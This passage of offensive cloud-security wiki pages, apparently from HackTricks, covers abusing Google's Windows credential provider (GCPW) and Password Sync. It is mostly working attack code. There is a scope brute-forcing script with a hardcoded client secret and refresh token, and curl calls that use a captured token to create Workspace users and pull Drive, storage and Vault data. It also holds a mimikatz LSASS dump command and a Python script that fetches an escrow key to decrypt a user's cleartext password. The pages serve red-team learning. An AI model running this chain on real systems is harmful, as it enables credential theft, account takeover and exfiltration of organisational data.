||||
By default GCPW won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
|
||||
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
done
|
||||
|
||||
echo ""
|
||||
echo ""
|
||||
echo "Valid scopes:"
|
||||
cat /tmp/valid_scopes.txt
|
||||
rm /tmp/valid_scopes.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
And this is the output I got at the time of the writing:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Brute-forced scopes</summary>
|
||||
|
||||
```
|
||||
https://www.googleapis.com/auth/admin.directory.user
|
||||
https://www.googleapis.com/auth/calendar
|
||||
https://www.googleapis.com/auth/calendar.events
|
||||
https://www.googleapis.com/auth/calendar.events.readonly
|
||||
https://www.googleapis.com/auth/calendar.readonly
|
||||
https://www.googleapis.com/auth/classroom.courses.readonly
|
||||
https://www.googleapis.com/auth/classroom.coursework.me.readonly
|
||||
https://www.googleapis.com/auth/classroom.coursework.students.readonly
|
||||
https://www.googleapis.com/auth/classroom.profile.emails
|
||||
https://www.googleapis.com/auth/classroom.profile.photos
|
||||
https://www.googleapis.com/auth/classroom.rosters.readonly
|
||||
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
|
||||
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
|
||||
https://www.googleapis.com/auth/cloud-translation
|
||||
https://www.googleapis.com/auth/cloud_search.query
|
||||
https://www.googleapis.com/auth/devstorage.read_write
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/drive.apps.readonly
|
||||
https://www.googleapis.com/auth/drive.file
|
||||
https://www.googleapis.com/auth/drive.readonly
|
||||
https://www.googleapis.com/auth/ediscovery
|
||||
https://www.googleapis.com/auth/firebase.messaging
|
||||
https://www.googleapis.com/auth/spreadsheets
|
||||
https://www.googleapis.com/auth/tasks
|
||||
https://www.googleapis.com/auth/tasks.readonly
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
https://www.googleapis.com/auth/userinfo.profile
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
Moreover, checking the Chromium source code it's possible to [**find this file**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), which contains **other scopes** that can be assumed that **doesn't appear in the previously brute-forced lis**t. Therefore, these extra scopes can be assumed:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Extra scopes</summary>
|
||||
|
||||
```
|
||||
https://www.google.com/accounts/OAuthLogin
|
||||
https://www.googleapis.com/auth/account.capabilities
|
||||
https://www.googleapis.com/auth/accounts.programmaticchallenge
|
||||
https://www.googleapis.com/auth/accounts.reauth
|
||||
https://www.googleapis.com/auth/admin.directory.user
|
||||
https://www.googleapis.com/auth/aida
|
||||
https://www.googleapis.com/auth/aidahttps://www.googleapis.com/auth/kid.management.privileged
|
||||
https://www.googleapis.com/auth/android_checkin
|
||||
https://www.googleapis.com/auth/any-api
|
||||
https://www.googleapis.com/auth/assistant-sdk-prototype
|
||||
https://www.googleapis.com/auth/auditrecording-pa
|
||||
https://www.googleapis.com/auth/bce.secureconnect
|
||||
https://www.googleapis.com/auth/calendar
|
||||
https://www.googleapis.com/auth/calendar.events
|
||||
https://www.googleapis.com/auth/calendar.events.readonly
|
||||
https://www.googleapis.com/auth/calendar.readonly
|
||||
https://www.googleapis.com/auth/cast.backdrop
|
||||
https://www.googleapis.com/auth/cclog
|
||||
https://www.googleapis.com/auth/chrome-model-execution
|
||||
https://www.googleapis.com/auth/chrome-optimization-guide
|
||||
https://www.googleapis.com/auth/chrome-safe-browsing
|
||||
https://www.googleapis.com/auth/chromekanonymity
|
||||
https://www.googleapis.com/auth/chromeosdevicemanagement
|
||||
https://www.googleapis.com/auth/chromesync
|
||||
https://www.googleapis.com/auth/chromewebstore.readonly
|
||||
https://www.googleapis.com/auth/classroom.courses.readonly
|
||||
https://www.googleapis.com/auth/classroom.coursework.me.readonly
|
||||
https://www.googleapis.com/auth/classroom.coursework.students.readonly
|
||||
https://www.googleapis.com/auth/classroom.profile.emails
|
||||
https://www.googleapis.com/auth/classroom.profile.photos
|
||||
https://www.googleapis.com/auth/classroom.rosters.readonly
|
||||
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
|
||||
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
|
||||
https://www.googleapis.com/auth/cloud-translation
|
||||
https://www.googleapis.com/auth/cloud_search.query
|
||||
https://www.googleapis.com/auth/cryptauth
|
||||
https://www.googleapis.com/auth/devstorage.read_write
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/drive.apps.readonly
|
||||
https://www.googleapis.com/auth/drive.file
|
||||
https://www.googleapis.com/auth/drive.readonly
|
||||
https://www.googleapis.com/auth/ediscovery
|
||||
https://www.googleapis.com/auth/experimentsandconfigs
|
||||
https://www.googleapis.com/auth/firebase.messaging
|
||||
https://www.googleapis.com/auth/gcm
|
||||
https://www.googleapis.com/auth/googlenow
|
||||
https://www.googleapis.com/auth/googletalk
|
||||
https://www.googleapis.com/auth/identity.passwords.leak.check
|
||||
https://www.googleapis.com/auth/ip-protection
|
||||
https://www.googleapis.com/auth/kid.family.readonly
|
||||
https://www.googleapis.com/auth/kid.management.privileged
|
||||
https://www.googleapis.com/auth/kid.permission
|
||||
https://www.googleapis.com/auth/kids.parentapproval
|
||||
https://www.googleapis.com/auth/kids.supervision.setup.child
|
||||
https://www.googleapis.com/auth/lens
|
||||
https://www.googleapis.com/auth/music
|
||||
https://www.googleapis.com/auth/nearbydevices-pa
|
||||
https://www.googleapis.com/auth/nearbypresence-pa
|
||||
https://www.googleapis.com/auth/nearbysharing-pa
|
||||
https://www.googleapis.com/auth/peopleapi.readonly
|
||||
https://www.googleapis.com/auth/peopleapi.readwrite
|
||||
https://www.googleapis.com/auth/photos
|
||||
https://www.googleapis.com/auth/photos.firstparty.readonly
|
||||
https://www.googleapis.com/auth/photos.image.readonly
|
||||
https://www.googleapis.com/auth/profile.language.read
|
||||
https://www.googleapis.com/auth/secureidentity.action
|
||||
https://www.googleapis.com/auth/spreadsheets
|
||||
https://www.googleapis.com/auth/supportcontent
|
||||
https://www.googleapis.com/auth/tachyon
|
||||
https://www.googleapis.com/auth/tasks
|
||||
https://www.googleapis.com/auth/tasks.readonly
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
https://www.googleapis.com/auth/userinfo.profile
|
||||
https://www.googleapis.com/auth/wallet.chrome
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
Note that the most interesting one is possibly:
|
||||
|
||||
```c
|
||||
// OAuth2 scope for access to all Google APIs.
|
||||
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
|
||||
```
|
||||
|
||||
However, I tried to use this scope to access gmail or list groups and it didn't work, so I don't know how useful it still is.
|
||||
|
||||
**Get an access token with all those scopes**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash script to generate access token from refresh_token with all the scopes</summary>
|
||||
|
||||
```bash
|
||||
export scope=$(echo "https://www.googleapis.com/auth/admin.directory.user
|
||||
https://www.googleapis.com/auth/calendar
|
||||
https://www.googleapis.com/auth/calendar.events
|
||||
https://www.googleapis.com/auth/calendar.events.readonly
|
||||
https://www.googleapis.com/auth/calendar.readonly
|
||||
https://www.googleapis.com/auth/classroom.courses.readonly
|
||||
https://www.googleapis.com/auth/classroom.coursework.me.readonly
|
||||
https://www.googleapis.com/auth/classroom.coursework.students.readonly
|
||||
https://www.googleapis.com/auth/classroom.profile.emails
|
||||
https://www.googleapis.com/auth/classroom.profile.photos
|
||||
https://www.googleapis.com/auth/classroom.rosters.readonly
|
||||
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
|
||||
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
|
||||
https://www.googleapis.com/auth/cloud-translation
|
||||
https://www.googleapis.com/auth/cloud_search.query
|
||||
https://www.googleapis.com/auth/devstorage.read_write
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/drive.apps.readonly
|
||||
https://www.googleapis.com/auth/drive.file
|
||||
https://www.googleapis.com/auth/drive.readonly
|
||||
https://www.googleapis.com/auth/ediscovery
|
||||
https://www.googleapis.com/auth/firebase.messaging
|
||||
https://www.googleapis.com/auth/spreadsheets
|
||||
https://www.googleapis.com/auth/tasks
|
||||
https://www.googleapis.com/auth/tasks.readonly
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
https://www.googleapis.com/auth/userinfo.profile
|
||||
https://www.google.com/accounts/OAuthLogin
|
||||
https://www.googleapis.com/auth/account.capabilities
|
||||
https://www.googleapis.com/auth/accounts.programmaticchallenge
|
||||
https://www.googleapis.com/auth/accounts.reauth
|
||||
https://www.googleapis.com/auth/admin.directory.user
|
||||
https://www.googleapis.com/auth/aida
|
||||
https://www.googleapis.com/auth/kid.management.privileged
|
||||
https://www.googleapis.com/auth/android_checkin
|
||||
https://www.googleapis.com/auth/any-api
|
||||
https://www.googleapis.com/auth/assistant-sdk-prototype
|
||||
https://www.googleapis.com/auth/auditrecording-pa
|
||||
https://www.googleapis.com/auth/bce.secureconnect
|
||||
https://www.googleapis.com/auth/calendar
|
||||
https://www.googleapis.com/auth/calendar.events
|
||||
https://www.googleapis.com/auth/calendar.events.readonly
|
||||
https://www.googleapis.com/auth/calendar.readonly
|
||||
https://www.googleapis.com/auth/cast.backdrop
|
||||
https://www.googleapis.com/auth/cclog
|
||||
https://www.googleapis.com/auth/chrome-model-execution
|
||||
https://www.googleapis.com/auth/chrome-optimization-guide
|
||||
https://www.googleapis.com/auth/chrome-safe-browsing
|
||||
https://www.googleapis.com/auth/chromekanonymity
|
||||
https://www.googleapis.com/auth/chromeosdevicemanagement
|
||||
https://www.googleapis.com/auth/chromesync
|
||||
https://www.googleapis.com/auth/chromewebstore.readonly
|
||||
https://www.googleapis.com/auth/classroom.courses.readonly
|
||||
https://www.googleapis.com/auth/classroom.coursework.me.readonly
|
||||
https://www.googleapis.com/auth/classroom.coursework.students.readonly
|
||||
https://www.googleapis.com/auth/classroom.profile.emails
|
||||
https://www.googleapis.com/auth/classroom.profile.photos
|
||||
https://www.googleapis.com/auth/classroom.rosters.readonly
|
||||
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
|
||||
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
|
||||
https://www.googleapis.com/auth/cloud-translation
|
||||
https://www.googleapis.com/auth/cloud_search.query
|
||||
https://www.googleapis.com/auth/cryptauth
|
||||
https://www.googleapis.com/auth/devstorage.read_write
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/drive.apps.readonly
|
||||
https://www.googleapis.com/auth/drive.file
|
||||
https://www.googleapis.com/auth/drive.readonly
|
||||
https://www.googleapis.com/auth/ediscovery
|
||||
https://www.googleapis.com/auth/experimentsandconfigs
|
||||
https://www.googleapis.com/auth/firebase.messaging
|
||||
https://www.googleapis.com/auth/gcm
|
||||
https://www.googleapis.com/auth/googlenow
|
||||
https://www.googleapis.com/auth/googletalk
|
||||
https://www.googleapis.com/auth/identity.passwords.leak.check
|
||||
https://www.googleapis.com/auth/ip-protection
|
||||
https://www.googleapis.com/auth/kid.family.readonly
|
||||
https://www.googleapis.com/auth/kid.management.privileged
|
||||
https://www.googleapis.com/auth/kid.permission
|
||||
https://www.googleapis.com/auth/kids.parentapproval
|
||||
https://www.googleapis.com/auth/kids.supervision.setup.child
|
||||
https://www.googleapis.com/auth/lens
|
||||
https://www.googleapis.com/auth/music
|
||||
https://www.googleapis.com/auth/nearbydevices-pa
|
||||
https://www.googleapis.com/auth/nearbypresence-pa
|
||||
https://www.googleapis.com/auth/nearbysharing-pa
|
||||
https://www.googleapis.com/auth/peopleapi.readonly
|
||||
https://www.googleapis.com/auth/peopleapi.readwrite
|
||||
https://www.googleapis.com/auth/photos
|
||||
https://www.googleapis.com/auth/photos.firstparty.readonly
|
||||
https://www.googleapis.com/auth/photos.image.readonly
|
||||
https://www.googleapis.com/auth/profile.language.read
|
||||
https://www.googleapis.com/auth/secureidentity.action
|
||||
https://www.googleapis.com/auth/spreadsheets
|
||||
https://www.googleapis.com/auth/supportcontent
|
||||
https://www.googleapis.com/auth/tachyon
|
||||
https://www.googleapis.com/auth/tasks
|
||||
https://www.googleapis.com/auth/tasks.readonly
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
https://www.googleapis.com/auth/userinfo.profile
|
||||
https://www.googleapis.com/auth/wallet.chrome" | tr '\n' ' ')
|
||||
|
||||
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
|
||||
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
Some examples using some of those scopes:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
|
||||
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
"https://www.googleapis.com/oauth2/v2/userinfo"
|
||||
|
||||
{
|
||||
"id": "100203736939176354570",
|
||||
"email": "hacktricks@example.com",
|
||||
"verified_email": true,
|
||||
"name": "John Smith",
|
||||
"given_name": "John",
|
||||
"family_name": "Smith",
|
||||
"picture": "https://lh3.googleusercontent.com/a/ACg8ocKLvue[REDACTED]wcnzhyKH_p96Gww=s96-c",
|
||||
"locale": "en",
|
||||
"hd": "example.com"
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>https://www.googleapis.com/auth/admin.directory.user</summary>
|
||||
|
||||
```bash
|
||||
# List users
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
"https://www.googleapis.com/admin/directory/v1/users?customer=<workspace_id>&maxResults=100&orderBy=email"
|
||||
|
||||
# Create user
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"primaryEmail": "newuser@hdomain.com",
|
||||
"name": {
|
||||
"givenName": "New",
|
||||
"familyName": "User"
|
||||
},
|
||||
"password": "UserPassword123",
|
||||
"changePasswordAtNextLogin": true
|
||||
}' \
|
||||
"https://www.googleapis.com/admin/directory/v1/users"
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>https://www.googleapis.com/auth/drive</summary>
|
||||
|
||||
```bash
|
||||
# List files
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
"https://www.googleapis.com/drive/v3/files?pageSize=10&fields=files(id,name,modifiedTime)&orderBy=name"
|
||||
{
|
||||
"files": [
|
||||
{
|
||||
"id": "1Z8m5ALSiHtewoQg1LB8uS9gAIeNOPBrq",
|
||||
"name": "Veeam new vendor form 1 2024.docx",
|
||||
"modifiedTime": "2024-08-30T09:25:35.219Z"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
# Download file
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
"https://www.googleapis.com/drive/v3/files/<file-id>?alt=media" \
|
||||
-o "DownloadedFileName.ext"
|
||||
|
||||
# Upload file
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
-H "Content-Type: application/octet-stream" \
|
||||
--data-binary @path/to/file.ext \
|
||||
"https://www.googleapis.com/upload/drive/v3/files?uploadType=media"
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>https://www.googleapis.com/auth/devstorage.read_write</summary>
|
||||
|
||||
```bash
|
||||
# List buckets from a project
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
"https://www.googleapis.com/storage/v1/b?project=<project-id>"
|
||||
|
||||
# List objects in a bucket
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
"https://www.googleapis.com/storage/v1/b/<bucket-name>/o?maxResults=10&fields=items(id,name,size,updated)&orderBy=name"
|
||||
|
||||
# Upload file to bucket
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
-H "Content-Type: application/octet-stream" \
|
||||
--data-binary @path/to/yourfile.ext \
|
||||
"https://www.googleapis.com/upload/storage/v1/b/<BUCKET_NAME>/o?uploadType=media&name=<OBJECT_NAME>"
|
||||
|
||||
# Download file from bucket
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
"https://www.googleapis.com/storage/v1/b/BUCKET_NAME/o/OBJECT_NAME?alt=media" \
|
||||
-o "DownloadedFileName.ext"
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>https://www.googleapis.com/auth/spreadsheets</summary>
|
||||
|
||||
```bash
|
||||
# List spreadsheets
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
"https://www.googleapis.com/drive/v3/files?q=mimeType='application/vnd.google-apps.spreadsheet'&fields=files(id,name,modifiedTime)&pageSize=100"
|
||||
|
||||
# Download as pdf
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
"https://www.googleapis.com/drive/v3/files/106VJxeyIsVTkixutwJM1IiJZ0ZQRMiA5mhfe8C5CxMc/export?mimeType=application/pdf" \
|
||||
-o "Spreadsheet.pdf"
|
||||
|
||||
# Create spreadsheet
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"properties": {
|
||||
"title": "New Spreadsheet"
|
||||
}
|
||||
}' \
|
||||
"https://sheets.googleapis.com/v4/spreadsheets"
|
||||
|
||||
# Read data from a spreadsheet
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
"https://sheets.googleapis.com/v4/spreadsheets/<SPREADSHEET_ID>/values/Sheet1!A1:C10"
|
||||
|
||||
# Update data in spreadsheet
|
||||
curl -X PUT \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"range": "Sheet1!A2:C2",
|
||||
"majorDimension": "ROWS",
|
||||
"values": [
|
||||
["Alice Johnson", "28", "alice.johnson@example.com"]
|
||||
]
|
||||
}' \
|
||||
"https://sheets.googleapis.com/v4/spreadsheets/<SPREADSHEET_ID>/values/Sheet1!A2:C2?valueInputOption=USER_ENTERED"
|
||||
|
||||
# Append data
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"values": [
|
||||
["Bob Williams", "35", "bob.williams@example.com"]
|
||||
]
|
||||
}' \
|
||||
"https://sheets.googleapis.com/v4/spreadsheets/SPREADSHEET_ID/values/Sheet1!A:C:append?valueInputOption=USER_ENTERED"
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>https://www.googleapis.com/auth/ediscovery (Google Vault)</summary>
|
||||
|
||||
**Google Workspace Vault** is an add-on for Google Workspace that provides tools for data retention, search, and export for your organization's data stored in Google Workspace services like Gmail, Drive, Chat, and more.
|
||||
|
||||
* A **Matter** in Google Workspace Vault is a **container** that organizes and groups together all the information related to a specific case, investigation, or legal matter. It serves as the central hub for managing **Holds**, **Searches**, and **Exports** pertaining to that particular issue.
|
||||
* A **Hold** in Google Workspace Vault is a **preservation action** applied to specific users or groups to **prevent the deletion or alteration** of their data within Google Workspace services. Holds ensure that relevant information remains intact and unmodified for the duration of a legal case or investigation.
|
||||
|
||||
```bash
|
||||
# List matters
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
"https://vault.googleapis.com/v1/matters?pageSize=10"
|
||||
|
||||
# Create matter
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"name": "Legal Case 2024",
|
||||
"description": "Matter for the upcoming legal case involving XYZ Corp.",
|
||||
"state": "OPEN"
|
||||
}' \
|
||||
"https://vault.googleapis.com/v1/matters"
|
||||
|
||||
# Get specific matter
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
"https://vault.googleapis.com/v1/matters/<MATTER_ID>"
|
||||
|
||||
# List holds in a matter
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
"https://vault.googleapis.com/v1/matters/<MATTER_ID>/holds?pageSize=10"
|
||||
```
|
||||
|
||||
More [API endpoints in the docs](https://developers.google.com/vault/reference/rest).
|
||||
|
||||
</details>
|
||||
|
||||
## GCPW - Recovering clear text password
|
||||
|
||||
To abuse GCPW to recover the clear text of the password it's possible to dump the encrypted password from **LSASS** using **mimikatz**:
|
||||
|
||||
```bash
|
||||
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
|
||||
```
|
||||
|
||||
Then search for the secret like `Chrome-GCPW-<sid>` like in the image:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Then, with an **access token** with the scope `https://www.google.com/accounts/OAuthLogin` it's possible to request the private key to decrypt the password:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Script to obtain the password in clear-text given the access token, encrypted password and resource id</summary>
|
||||
|
||||
```python
|
||||
import requests
|
||||
from base64 import b64decode
|
||||
from Crypto.Cipher import AES, PKCS1_OAEP
|
||||
from Crypto.PublicKey import RSA
|
||||
|
||||
def get_decryption_key(access_token, resource_id):
|
||||
try:
|
||||
# Request to get the private key
|
||||
response = requests.get(
|
||||
f"https://devicepasswordescrowforwindows-pa.googleapis.com/v1/getprivatekey/{resource_id}",
|
||||
headers={
|
||||
"Authorization": f"Bearer {access_token}"
|
||||
}
|
||||
)
|
||||
|
||||
# Check if the response is successful
|
||||
if response.status_code == 200:
|
||||
private_key = response.json()["base64PrivateKey"]
|
||||
# Properly format the RSA private key
|
||||
private_key = f"-----BEGIN RSA PRIVATE KEY-----\n{private_key.strip()}\n-----END RSA PRIVATE KEY-----"
|
||||
return private_key
|
||||
else:
|
||||
raise ValueError(f"Failed to retrieve private key: {response.text}")
|
||||
|
||||
except requests.RequestException as e:
|
||||
print(f"Error occurred while requesting the private key: {e}")
|
||||
return None
|
||||
|
||||
def decrypt_password(access_token, lsa_secret):
|
||||
try:
|
||||
# Obtain the private key using the resource_id
|
||||
resource_id = lsa_secret["resource_id"]
|
||||
encrypted_data = b64decode(lsa_secret["encrypted_password"])
|
||||
|
||||
private_key_pem = get_decryption_key(access_token, resource_id)
|
||||
print("Found private key:")
|
||||
print(private_key_pem)
|
||||
|
||||
if private_key_pem is None:
|
||||
raise ValueError("Unable to retrieve the private key.")
|
||||
|
||||
# Load the RSA private key
|
||||
rsa_key = RSA.import_key(private_key_pem)
|
||||
key_size = int(rsa_key.size_in_bits() / 8)
|
||||
|
||||
# Decrypt the encrypted data
|
||||
cipher_rsa = PKCS1_OAEP.new(rsa_key)
|
||||
session_key = cipher_rsa.decrypt(encrypted_data[:key_size])
|
||||
|
||||
# Extract the session key and other data from decrypted payload
|
||||
session_header = session_key[:32]
|
||||
session_nonce = session_key[32:]
|
||||
mac = encrypted_data[-16:]
|
||||
|
||||
# Decrypt the AES GCM data
|
||||
aes_cipher = AES.new(session_header, AES.MODE_GCM, nonce=session_nonce)
|
||||
decrypted_password = aes_cipher.decrypt_and_verify(encrypted_data[key_size:-16], mac)
|
||||
|
||||
print("Decrypted Password:", decrypted_password.decode("utf-8"))
|
||||
|
||||
except Exception as e:
|
||||
print(f"Error occurred during decryption: {e}")
|
||||
|
||||
# CHANGE THIS INPUT DATA!
|
||||
access_token = "<acces_token>"
|
||||
lsa_secret = {
|
||||
"encrypted_password": "<encrypted-password>",
|
||||
"resource_id": "<resource-id>"
|
||||
}
|
||||
|
||||
decrypt_password(access_token, lsa_secret)
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
It's possible to find the key components of this in the Chromium source code:
|
||||
|
||||
* API domain: [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code)
|
||||
* API endpoint: [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential\_provider/gaiacp/password\_recovery\_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70)
|
||||
|
||||
## References
|
||||
|
||||
* [https://www.youtube.com/watch?v=FEQxHRRP\_5I](https://www.youtube.com/watch?v=FEQxHRRP_5I)
|
||||
* [https://issues.chromium.org/issues/40063291](https://issues.chromium.org/issues/40063291)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,221 @@
|
||||
# GPS - Google Password Sync
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basic Information
|
||||
|
||||
This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.
|
||||
|
||||
It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).
|
||||
|
||||
### GPS - Configuration
|
||||
|
||||
To configure this binary (and service), it's needed to **give it access to a Super Admin principal in Workspace**:
|
||||
|
||||
* Login via **OAuth** with Google and then it'll **store a token in the registry (encrypted)**
|
||||
* Only available in Domain Controllers with GUI
|
||||
* Giving some **Service Account credentials from GCP** (json file) with permissions to **manage the Workspace users**
|
||||
* Very bad idea as those credentials never expired and could be misused
|
||||
* Very bad idea give a SA access over workspace as the SA could get compromised in GCP and it'll possible to pivot to Workspace
|
||||
* Google require it for domain controlled without GUI
|
||||
* These creds are also stored in the registry
|
||||
|
||||
